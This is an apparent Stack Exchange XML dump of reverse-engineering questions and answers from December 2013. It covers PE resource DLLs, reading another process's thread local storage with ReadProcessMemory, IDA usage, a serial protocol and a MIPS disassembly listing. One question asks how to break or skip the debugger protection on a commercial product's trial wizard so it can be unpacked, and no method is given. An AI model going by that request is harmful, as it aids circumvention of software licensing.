  <row Id="3136" PostTypeId="1" CreationDate="2013-12-06T23:50:29.543" Score="-2" ViewCount="368" Body="&lt;p&gt;I have this file called &lt;a href=&quot;https://www.dropbox.com/s/3uwecqwv0sfpirp/iisres.dll&quot; rel=&quot;nofollow&quot;&gt;issrel.dll&lt;/a&gt;.&#xA;But I can't simply put it into IDA PRO, because it does not recognize it correctly .&lt;/p&gt;&#xA;" OwnerUserId="3305" LastEditorUserId="245" LastEditDate="2013-12-07T05:12:41.000" LastActivityDate="2013-12-07T05:12:41.000" Title="How do I reverse engineer iisres.dll?" Tags="|ida|" AnswerCount="1" CommentCount="0" ClosedDate="2013-12-17T08:04:41.460" ContentLicense="CC BY-SA 3.0" />
  <row Id="3137" PostTypeId="1" AcceptedAnswerId="3141" CreationDate="2013-12-06T23:57:32.587" Score="1" ViewCount="168" Body="&lt;p&gt;In &lt;code&gt;w3wp.exe&lt;/code&gt;, &lt;code&gt;STRU&lt;/code&gt; namespace is used. Where is the &lt;code&gt;STRU&lt;/code&gt; namespace documented? With functions like &lt;code&gt;STRU::QuerySizeCCH()&lt;/code&gt;, &lt;code&gt;STRU::Resize()&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="3305" LastEditorUserId="189" LastEditDate="2014-01-11T06:46:23.147" LastActivityDate="2014-01-11T06:46:27.567" Title="'STRU' namespace in the Windows Internals API?" Tags="|windows|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3138" PostTypeId="2" ParentId="3136" CreationDate="2013-12-07T00:08:48.460" Score="3" Body="&lt;p&gt;There is nothing to disassemble in it. Presumably, IDA Pro scans only for code segments; there aren't any in this DLL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My own tool reports this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;NumberOfRvaAndSizes         00000010&#xA;   2. Resource Directory       VirtualAddress 00001000; Size 0002EF10&#xA;&#xA;== PE sections ==&#xA;Name  '.rsrc'&#xA;PhysAdr/VirtSize     0002EF10&#xA;VirtualAddress       00001000 -&amp;gt; 00401000..0042FF0F&#xA;SizeOfRawData        0002F000&#xA;PointerToRawData     00000200&#xA;PointerToRelocations 00000000&#xA;PointerToLinenumbers 00000000&#xA;NumberOfRelocations  0000&#xA;NumberOfLinenumbers  0000&#xA;Characteristics      40000040 -&amp;gt; Initialized data | Readable&#xA;&#xA;== RVA's ==&#xA;2. Resource Directory&#xA;VirtualAddress 00001000 -&amp;gt; inside section '.rsrc' at 00000000&#xA;Size           0002EF10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and as you can see, all it contains are &lt;em&gt;resources&lt;/em&gt;. Google for a Windows resource editor if you want to know what it contains (a cursory glance with a basic hex editor shows 'the usual': a VERSION_INFO block, some strings, EVNT tables, and a rather nice PNG image).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;(Edit) &lt;a href=&quot;http://pedump.me/cfebba297b36cbb7c52c5ff592f6f0fe/&quot; rel=&quot;nofollow&quot;&gt;http://pedump.me/cfebba297b36cbb7c52c5ff592f6f0fe/&lt;/a&gt; lists its contents in a basic yet very comprehensive overview. It agrees with me: the &quot;disasm&quot; view says: &quot;invalid VA 0x400000&quot;.&lt;/p&gt;&#xA;" OwnerUserId="2959" LastEditorUserId="2959" LastEditDate="2013-12-07T00:13:49.613" LastActivityDate="2013-12-07T00:13:49.613" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3139" PostTypeId="1" AcceptedAnswerId="3140" CreationDate="2013-12-07T00:14:12.523" Score="9" ViewCount="2056" Body="&lt;p&gt;The Thread Local Storage (TLS) contains static or global values for a thread. Those values can be very important to find reliable references to memory structures when the memory locations are not static.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to get the Thread Local Storage of another process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The TLS should be at &lt;a href=&quot;http://en.wikipedia.org/wiki/Win32_Thread_Information_Block&quot;&gt;[FS:0x2C] in the Thread Information Block (TIB)&lt;/a&gt;. Though I quite don't understand how the FS register works. I guess I have to find the TIB Base address first? I think I can find it in the Thread Context I can get with &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms679362%28v=vs.85%29.aspx&quot;&gt;WINAPI GetThreadContext&lt;/a&gt;, but I am a little bit overwhelmed.&lt;/p&gt;&#xA;" OwnerUserId="145" LastEditorUserId="145" LastEditDate="2013-12-07T00:50:53.503" LastActivityDate="2013-12-07T01:09:09.827" Title="How can I find the Thread Local Storage (TLS) of a Windows Process Thread?" Tags="|windows|winapi|thread|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3140" PostTypeId="2" ParentId="3139" CreationDate="2013-12-07T00:57:33.640" Score="8" Body="&lt;p&gt;You need to use &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms679363%28v=vs.85%29.aspx&quot;&gt;&lt;code&gt;GetThreadSelectorEntry()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pseudocode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GetThreadContext(hThread, &amp;amp;context);&#xA;GetThreadSelectorEntry(hThread, context.SegFs, &amp;amp;selectorEntry);&#xA;ReadProcessMemory(hProcess, (selectorEntry.BaseLow | (selectorEntry.HighWord.Bytes.BaseMid &amp;lt;&amp;lt; 0x10) | (selectorEntry.HighWord.Bytes.BaseHi &amp;lt;&amp;lt; 0x18)) + 0x2C, &amp;amp;pTLS, sizeof(pTLS), &amp;amp;numberOfBytesRead);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see the function &lt;code&gt;GetProcessEntryPointAddress()&lt;/code&gt; &lt;a href=&quot;http://nerdworks.in/downloads/myselfdel.c&quot;&gt;here&lt;/a&gt; for some sample code that does something similar.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2013-12-07T01:09:09.827" LastActivityDate="2013-12-07T01:09:09.827" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3141" PostTypeId="2" ParentId="3137" CreationDate="2013-12-07T01:03:10.717" Score="5" Body="&lt;p&gt;Those functions are exported by IISUTIL.DLL. That is not a core Windows library, and thus wouldn't be documented in any &quot;Windows Internals&quot; references.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-12-07T01:03:10.717" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3142" PostTypeId="2" ParentId="2159" CreationDate="2013-12-07T13:01:00.573" Score="5" Body="&lt;p&gt;Following up on Gilles answer, the first 7 hex digits (0801427) and the last 5 (00017) are not part of the timestamp. The remaining ones are the number of milliseconds from Nov 4, 2004. If you convert that to dates you get&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3b9bbb8cd0  2012.12.15  03:30:30&#xA;3bf2ba0ed0  2013.01.01  00:55:50&#xA;3ed2071a68  2013.05.23  19:40:53&#xA;3ed246cf00  2013.05.23  20:50:28&#xA;3ed6751730  2013.05.24  16:19:30&#xA;3ed82900f0  2013.05.25  00:15:38&#xA;3ed8667b38  2013.05.25  01:22:47&#xA;3edb9c78e8  2013.05.25  16:20:37&#xA;3edc2ee930  2013.05.25  19:00:34&#xA;3edc52a5a0  2013.05.25  19:39:36&#xA;3eede50790  2013.05.29  05:33:02&#xA;3eedeac450  2013.05.29  05:39:18&#xA;3eedf09c68  2013.05.29  05:45:41&#xA;3ef64b0218  2013.05.30  20:41:23&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The time for May or off by one hour. That could be daylight saving time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea why that particular epoch. Could be the release date of whatever is generating the timestamps.&lt;/p&gt;&#xA;" OwnerUserId="3307" LastActivityDate="2013-12-07T13:01:00.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3143" PostTypeId="1" CreationDate="2013-12-07T14:26:00.087" Score="2" ViewCount="5001" Body="&lt;p&gt;I want to debug an application which when opened, it will open a fork from it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. program.exe will run 2 program.exe in the task manager&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the software is &lt;a href=&quot;http://www.sqlmanager.net/products/studio/postgresql&quot; rel=&quot;nofollow&quot;&gt;EMS SQL Management Studio for PostgreSQL&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when I try to attach debugger to the first .exe file (trial Wizard) a Message Box shows as follows:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The debugger could not attach the selected process. This can perhaps&#xA;  indicate the process was just terminated, that you don't have the&#xA;  necessary privileges..&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I can attach the debugeer to the second .exe (Main Program Window) file. But it is useless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think my problem is that one of them is the parent process and the other is the child process. Can I know how to open the child process alone (maybe inspect arguments) so I can attach debugger to it.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;My Question: How can attach debugger to the application trial wizard??&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In case of debugger protection, can I break it or skip it to be able to debug or unpack?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3268" LastEditorUserId="3268" LastEditDate="2014-01-02T08:45:33.733" LastActivityDate="2014-01-02T08:45:33.733" Title="The debugger could not attach to the selected process" Tags="|disassembly|ida|windows|decompilation|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3144" PostTypeId="1" CreationDate="2013-12-07T16:34:15.563" Score="11" ViewCount="3640" Body="&lt;p&gt;I would like to control my &lt;a href=&quot;http://www.logitech.com/assets/36226/z906620-002920006ug403.pdf&quot; rel=&quot;noreferrer&quot;&gt;logitech Z906&lt;/a&gt; remotely, e.g. with a webservice running on a raspberry pi connected to it's console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The console is connected over a DB-15 port to the subwoofer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I called logitech but they were unable to provide me with information concerning the protocol used between the console and the subwoofer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I will need to reverse engineer this, however, I'm not sure on how to get started here. I suppose I just connect the console to a pc (running fedora), and press all the buttons and see what comes out, and then try the opposite, see what happens when I send these to the subwoofer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any general tips, what software to use, any special hardware?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I just connect the 15 pins to 15 pins on my raspberry pi and read them out? Or is there an easy way to connect a DB-15 to a pc for easy testing (my vga port??)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;follow up:&lt;/strong&gt;&#xA;So far as I could tell the console is doing all audio decoding work, and sending raw analog signals to the subwoofer, so the console is doing a lot of inernal work, and is more then a simple frontend for sending commands to the subwoofer. Replacing all of this work is not what I want to do, I could just buy some 'dumb' audio equipment if I could do all the work that the console currently does, so I abandoned this project.&lt;/p&gt;&#xA;" OwnerUserId="3309" LastEditorUserId="3309" LastEditDate="2016-04-25T13:18:41.453" LastActivityDate="2018-04-01T20:12:12.303" Title="Reverse engineer Logitech Z906 serial console: getting started" Tags="|serial-communication|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3145" PostTypeId="1" CreationDate="2013-12-07T19:14:07.007" Score="2" ViewCount="1548" Body="&lt;p&gt;I'm trying to understand the inner workings of &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms686324%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;StartServiceCtrlDispatcher&lt;/code&gt;&lt;/a&gt;. Specifically, I'm trying to figure out how it determines if its being called from the SCM. So I write a simple service in C# and called it as a console app. I started it from WinDbg and set a breakpoint at &lt;code&gt;ADVAPI32!StartServiceCtrlDispatcherWStub&lt;/code&gt;. I then stepped into a few calls until I got the following stack trace:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; kP&#xA;Child-SP          RetAddr           Call Site&#xA;00000000`0037e578 00007ffa`101a52be RPCRT4!RpcStringBindingComposeW+0xff&#xA;00000000`0037e580 00007ffa`101abedf sechost!ScClientBindToServer+0x76&#xA;00000000`0037e690 00007ffa`101a8751 sechost!ScOpenServiceChannelHandle+0x1f&#xA;00000000`0037e6d0 00007ffa`009796f0 sechost!StartServiceCtrlDispatcherW+0x3c&#xA;00000000`0037e710 00007ffa`0097c0af System_ServiceProcess_ni+0x296f0&#xA;00000000`0037e7e0 00007ff9`a0730104 System_ServiceProcess_ni+0x2c0af&#xA;00000000`0037e880 00007ff9`ffe84113 0x00007ff9`a0730104&#xA;00000000`0037e8d0 00007ff9`ffe83fde clr!CallDescrWorkerInternal+0x83&#xA;00000000`0037e910 00007ff9`ffe889a3 clr!CallDescrWorkerWithHandler+0x4a&#xA;00000000`0037e950 00007ff9`fff591aa clr!MethodDescCallSite::CallTargetWorker+0x251&#xA;00000000`0037eb00 00007ff9`fff5999a clr!RunMain+0x1e7&#xA;00000000`0037ece0 00007ff9`fff59893 clr!Assembly::ExecuteMainMethod+0xb6&#xA;00000000`0037efd0 00007ff9`fff59372 clr!SystemDomain::ExecuteMainMethod+0x506&#xA;00000000`0037f5e0 00007ff9`fff592c6 clr!ExecuteEXE+0x3f&#xA;00000000`0037f650 00007ff9`fff59d84 clr!_CorExeMainInternal+0xae&#xA;00000000`0037f6e0 00007ffa`011e7ced clr!CorExeMain+0x14&#xA;00000000`0037f720 00007ffa`0128ea5b mscoreei!CorExeMain+0xe0&#xA;00000000`0037f770 00007ffa`107115cd MSCOREE!CorExeMain_Exported+0xcb&#xA;00000000`0037f7a0 00007ffa`10a343d1 KERNEL32!BaseThreadInitThunk+0xd&#xA;00000000`0037f7d0 00000000`00000000 ntdll!RtlUserThreadStart+0x1d&#xA;0:000&amp;gt; !clrstack&#xA;OS Thread Id: 0x2ae4 (0)&#xA;        Child SP               IP Call Site&#xA;000000000037e738 00007ffa100795b3 [InlinedCallFrame: 000000000037e738] System.ServiceProcess.NativeMethods.StartServiceCtrlDispatcher(IntPtr)&#xA;000000000037e738 00007ffa009796f0 [InlinedCallFrame: 000000000037e738] System.ServiceProcess.NativeMethods.StartServiceCtrlDispatcher(IntPtr)&#xA;000000000037e710 00007ffa009796f0 DomainBoundILStubClass.IL_STUB_PInvoke(IntPtr)&#xA;000000000037e7e0 00007ffa0097c0af System.ServiceProcess.ServiceBase.Run(System.ServiceProcess.ServiceBase[])&#xA;000000000037e880 00007ff9a0730104 ConsoleAndSCMPatternDemo.Program.Main(System.String[]) [c:\Users\Justin\Documents\Visual Studio 2013\Projects\ConsoleAndSCMPatternDemo\ConsoleAndSCMPatternDemo\Program.cs @ 21]&#xA;000000000037ebb0 00007ff9ffe84113 [GCFrame: 000000000037ebb0] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have two questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What is this &lt;code&gt;sechost.dll&lt;/code&gt; that seems to have AdvApi32 functionality.&lt;/li&gt;&#xA;&lt;li&gt;Where can I find documentation about the following API calls:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;ScClientBindToServer&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ScOpenServiceChannelHandle&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Google doesn't give good info on either.&lt;/p&gt;&#xA;" OwnerUserId="1908" LastEditorUserId="245" LastEditDate="2013-12-08T07:31:30.530" LastActivityDate="2013-12-08T07:31:30.530" Title="Getting info for undocumented APIs called by StartServiceCtrlDispatcher" Tags="|windows|windbg|callstack|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3146" PostTypeId="2" ParentId="3095" CreationDate="2013-12-07T19:45:57.597" Score="1" Body="&lt;p&gt;Run Sysinternals &lt;a href=&quot;http://technet.microsoft.com/en-us/sysinternals/bb896645.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Process Monitor&lt;/a&gt; and look for operation on that file, by any process. Something other than sqlserver.exe might be reading it. Once you see whats reading the file, &lt;a href=&quot;https://docs.microsoft.com/en-us/archive/blogs/vijaysk/getting-better-stack-traces-in-process-monitor-process-explorer&quot; rel=&quot;nofollow noreferrer&quot;&gt;look at the stacktrace leading to the file io calls&lt;/a&gt; in process monitor. Attach to that process that is reading the files with WinDbg and set the appropriate breakpoints to continue reverse engineering.&lt;/p&gt;&#xA;" OwnerUserId="1908" LastEditorUserId="13506" LastEditDate="2021-02-27T00:48:23.837" LastActivityDate="2021-02-27T00:48:23.837" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="3147" PostTypeId="2" ParentId="3095" CreationDate="2013-12-07T19:46:59.633" Score="2" Body="&lt;p&gt;In the unlikely event that the file in question is just an mdf with a weird name, you can look at it with &lt;a href=&quot;https://github.com/improvedk/OrcaMDF&quot; rel=&quot;nofollow&quot;&gt;OrcaMDF&lt;/a&gt; by Mark S. Rasmussen.&lt;/p&gt;&#xA;" OwnerUserId="1908" LastActivityDate="2013-12-07T19:46:59.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3148" PostTypeId="1" AcceptedAnswerId="3149" CreationDate="2013-12-08T17:38:57.913" Score="5" ViewCount="1286" Body="&lt;p&gt;I read that question here (&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2098/how-do-you-set-registers-as-structs-within-a-function-in-ida&quot;&gt;How do you set registers as structs within a function in IDA?&lt;/a&gt;) but this applies only to individual lines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to set a register as a basepointer for a scope so that all usages of this register will be using the structure you assigned it to?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     eax, [ebx+C]&#xA;xor     [ebx+1C], eax&#xA;mov     eax, [ebx+24]&#xA;xor     [ebx+68], eax&#xA;mov     eax, [ebx+C]&#xA;xor     [ebx+30], eax&#xA;mov     eax, [ebx+24]&#xA;xor     [ebx+48], eax&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or do you have to apply &lt;code&gt;T&lt;/code&gt; on each occurence individually?&lt;/p&gt;&#xA;" OwnerUserId="2130" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2013-12-08T19:18:17.750" Title="IDA: setting a register as a basepointer to struct" Tags="|ida|struct|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3149" PostTypeId="2" ParentId="3148" CreationDate="2013-12-08T19:18:17.750" Score="6" Body="&lt;p&gt;You need to select the range of instructions you're interested in, then use the same &lt;kbd&gt;T&lt;/kbd&gt; shortcut as you would for a single occurrence. The dialog shown will allow you to select the register, the offset delta to add to the displacement, and the struct you want to apply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The dialog does some preparation work/struct analysis before showing up. If you have a large selection or a lot of structures it can take a while to appear, you just need to be patient. When you change the register/delta inside the dialog, the analysis needs to be updated, which again takes time. Placing the selection cursor over an occurrence of the register you want to change &lt;em&gt;before&lt;/em&gt; calling up the dialog is a good idea.&lt;/p&gt;&#xA;" OwnerUserId="262" LastActivityDate="2013-12-08T19:18:17.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3152" PostTypeId="2" ParentId="3110" CreationDate="2013-12-09T10:34:55.920" Score="5" Body="&lt;p&gt;This problem can be avoided by calling IDA this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cat | idaq&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2013-12-09T10:34:55.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3155" PostTypeId="1" AcceptedAnswerId="3162" CreationDate="2013-12-10T11:27:51.390" Score="1" ViewCount="2523" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://mega.co.nz/#!0MJgGAAL!ArUvamiuumle0uR0HJNDWjebI3g_R12iBLVq-geuZFE&quot; rel=&quot;nofollow&quot;&gt;core.toc&lt;/a&gt; [87 KB]&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://mega.co.nz/#!hEwlGD4Z!RSA3zXEVk41gjbzdfOKCez3EjI9BZChvPr34VR10Ocg&quot; rel=&quot;nofollow&quot;&gt;core.data&lt;/a&gt; [130 MB]&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;the &lt;code&gt;.toc&lt;/code&gt; is a table of contents files that always starts with the header 1rrs.&#xA;It also contains directory and file paths at offsets that will relate to the data file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where should I start trying to use the &lt;code&gt;.toc&lt;/code&gt; to extract from the &lt;code&gt;.data&lt;/code&gt; file?&lt;/p&gt;&#xA;" OwnerUserId="3329" LastEditorUserId="53" LastEditDate="2013-12-11T15:39:46.843" LastActivityDate="2013-12-11T18:28:31.543" Title="Extracting files from .data and .toc files" Tags="|file-format|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3156" PostTypeId="1" CreationDate="2013-12-10T14:08:55.367" Score="-6" ViewCount="728" Body="&lt;p&gt;Can somebody tell if this MIPS assembly code uses some RSA libraries or what info is precisely extracted?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00088090  # =============== S U B R O U T I N E =======================================&#xA;.text:00088090&#xA;.text:00088090&#xA;.text:00088090                 .globl _058A5&#xA;.text:00088090 _058A5:                                  # CODE XREF: _03E2D+38p&#xA;.text:00088090                                          # DATA XREF: _03E2D+2Co ...&#xA;.text:00088090&#xA;.text:00088090 var_78          = -0x78&#xA;.text:00088090 var_70          = -0x70&#xA;.text:00088090 var_68          = -0x68&#xA;.text:00088090 var_58          = -0x58&#xA;.text:00088090 var_48          = -0x48&#xA;.text:00088090 var_38          = -0x38&#xA;.text:00088090 var_28          = -0x28&#xA;.text:00088090 var_24          = -0x24&#xA;.text:00088090 var_20          = -0x20&#xA;.text:00088090 var_1C          = -0x1C&#xA;.text:00088090 var_18          = -0x18&#xA;.text:00088090 var_14          = -0x14&#xA;.text:00088090 var_10          = -0x10&#xA;.text:00088090 var_C           = -0xC&#xA;.text:00088090 var_8           = -8&#xA;.text:00088090&#xA;.text:00088090                 la      $gp, loc_BF460   # _058A5&#xA;.text:00088098                 addu    $gp, $t9&#xA;.text:0008809C                 addiu   $sp, -0x88&#xA;.text:000880A0                 sw      $gp, 0x88+var_70($sp)&#xA;.text:000880A4                 sw      $s0, 0x88+var_28($sp)&#xA;.text:000880A8                 la      $s0, 0xF0000&#xA;.text:000880AC                 nop&#xA;.text:000880B0                 addiu   $s0, (unk_F77A8 - 0xF0000)&#xA;.text:000880B4                 sw      $s6, 0x88+var_10($sp)&#xA;.text:000880B8                 sw      $s5, 0x88+var_14($sp)&#xA;.text:000880BC                 sw      $s4, 0x88+var_18($sp)&#xA;.text:000880C0                 movn    $s0, $a1, $a1&#xA;.text:000880C4                 move    $s4, $a2&#xA;.text:000880C8                 move    $s6, $a3&#xA;.text:000880CC                 move    $s5, $zero&#xA;.text:000880D0                 sw      $ra, 0x88+var_8($sp)&#xA;.text:000880D4                 sw      $gp, 0x88+var_C($sp)&#xA;.text:000880D8                 sw      $s3, 0x88+var_1C($sp)&#xA;.text:000880DC                 sw      $s2, 0x88+var_20($sp)&#xA;.text:000880E0                 sw      $s1, 0x88+var_24($sp)&#xA;.text:000880E4                 addiu   $s1, $sp, 0x88+var_58&#xA;.text:000880E8                 addiu   $s3, $sp, 0x88+var_48&#xA;.text:000880EC                 addiu   $s2, $sp, 0x88+var_38&#xA;.text:000880F0                 addiu   $a0, $sp, 0x88+var_68&#xA;.text:000880F4                 move    $a1, $s1&#xA;.text:000880F8                 move    $a2, $s3&#xA;.text:000880FC                 move    $a3, $s2&#xA;.text:00088100                 sw      $zero, 0x88+var_78($sp)&#xA;.text:00088104                 la      $t9, _03DE5&#xA;.text:00088110&#xA;.text:00088110 loc_88110:                               # DATA XREF: sub_BF3E0o&#xA;.text:00088110                 jalr    $t9 ; _03DE5&#xA;.text:00088114                 nop&#xA;.text:00088118                 lw      $gp, 0x88+var_70($sp)&#xA;.text:0008811C                 move    $a1, $s0&#xA;.text:00088120                 addiu   $a0, $sp, 0x88+var_68&#xA;.text:00088124                 beqz    $v0, loc_8815C&#xA;.text:00088128                 li      $a2, 0x50&#xA;.text:0008812C&#xA;.text:0008812C loc_8812C:                               # CODE XREF: _058A5+ECj&#xA;.text:0008812C                                          # _058A5+11Cj ...&#xA;.text:0008812C                 li      $s5, 4&#xA;.text:00088130                 move    $v0, $s5&#xA;.text:00088134&#xA;.text:00088134 loc_88134:                               # CODE XREF: _058A5+1C0j&#xA;.text:00088134                 lw      $ra, 0x88+var_8($sp)&#xA;.text:00088138                 lw      $s6, 0x88+var_10($sp)&#xA;.text:0008813C                 lw      $s5, 0x88+var_14($sp)&#xA;.text:00088140                 lw      $s4, 0x88+var_18($sp)&#xA;.text:00088144                 lw      $s3, 0x88+var_1C($sp)&#xA;.text:00088148                 lw      $s2, 0x88+var_20($sp)&#xA;.text:0008814C                 lw      $s1, 0x88+var_24($sp)&#xA;.text:00088150                 lw      $s0, 0x88+var_28($sp)&#xA;.text:00088154                 jr      $ra&#xA;.text:00088158                 addiu   $sp, 0x88&#xA;.text:0008815C  # ---------------------------------------------------------------------------&#xA;.text:0008815C&#xA;.text:0008815C loc_8815C:                               # CODE XREF: _058A5+94j&#xA;.text:0008815C                 la      $t9, _01D91&#xA;.text:00088168                 jalr    $t9 ; _01D91&#xA;.text:0008816C                 nop&#xA;.text:00088170                 lw      $gp, 0x88+var_70($sp)&#xA;.text:00088174                 move    $a1, $s4&#xA;.text:00088178                 move    $a0, $s1&#xA;.text:0008817C                 bnez    $v0, loc_8812C&#xA;.text:00088180                 li      $a2, 0x11&#xA;.text:00088184                 la      $t9, _01D91&#xA;.text:00088190                 jalr    $t9 ; _01D91&#xA;.text:00088194                 nop&#xA;.text:00088198                 lw      $gp, 0x88+var_70($sp)&#xA;.text:0008819C                 la      $a1, 0xF0000&#xA;.text:000881A0                 nop&#xA;.text:000881A4                 addiu   $a1, (unk_F77F8 - 0xF0000)&#xA;.text:000881A8                 move    $a0, $s3&#xA;.text:000881AC                 bnez    $v0, loc_8812C&#xA;.text:000881B0                 li      $a2, 0x50&#xA;.text:000881B4                 la      $t9, _01D91&#xA;.text:000881C0                 jalr    $t9 ; _01D91&#xA;.text:000881C4                 nop&#xA;.text:000881C8                 lw      $gp, 0x88+var_70($sp)&#xA;.text:000881CC                 move    $a3, $s2&#xA;.text:000881D0                 move    $a1, $s1&#xA;.text:000881D4                 addiu   $a0, $sp, 0x88+var_68&#xA;.text:000881D8                 bnez    $v0, loc_8812C&#xA;.text:000881DC                 move    $a2, $s3&#xA;.text:000881E0                 la      $t9, _058F6&#xA;.text:000881EC                 jalr    $t9 ; _058F6&#xA;.text:000881F0                 nop&#xA;.text:000881F4                 lw      $gp, 0x88+var_70($sp)&#xA;.text:000881F8                 move    $a1, $s6&#xA;.text:000881FC&#xA;.text:000881FC loc_881FC:                               # DATA XREF: sub_BF2F4o&#xA;.text:000881FC                 move    $a0, $s2&#xA;.text:00088200                 bnez    $v0, loc_8812C&#xA;.text:00088204                 li      $a2, 0x50&#xA;.text:00088208                 la      $t9, _01001&#xA;.text:00088214                 jalr    $t9 ; _01001&#xA;.text:00088218                 nop&#xA;.text:0008821C                 lw      $gp, 0x88+var_70($sp)&#xA;.text:00088220                 move    $a3, $s2&#xA;.text:00088224                 move    $a1, $s1&#xA;.text:00088228                 addiu   $a0, $sp, 0x88+var_68&#xA;.text:0008822C                 bnez    $v0, loc_8812C&#xA;.text:00088230                 move    $a2, $s3&#xA;.text:00088234                 sw      $zero, 0x88+var_78($sp)&#xA;.text:00088238                 la      $t9, _04E0F&#xA;.text:00088244                 jalr    $t9 ; _04E0F&#xA;.text:00088248                 nop&#xA;.text:0008824C                 lw      $gp, 0x88+var_70($sp)&#xA;.text:00088250                 b       loc_88134&#xA;.text:00088254                 move    $v0, $s5&#xA;.text:00088254  # End of function _058A5&#xA;.text:00088254&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3253" LastEditorUserId="53" LastEditDate="2013-12-10T14:22:16.613" LastActivityDate="2013-12-10T18:29:00.370" Title="Is possible to translate this MIPS assembly subroutine to C?" Tags="|disassembly|ida|" AnswerCount="1" CommentCount="7" FavoriteCount="0" ClosedDate="2013-12-17T08:06:07.013" ContentLicense="CC BY-SA 3.0" />
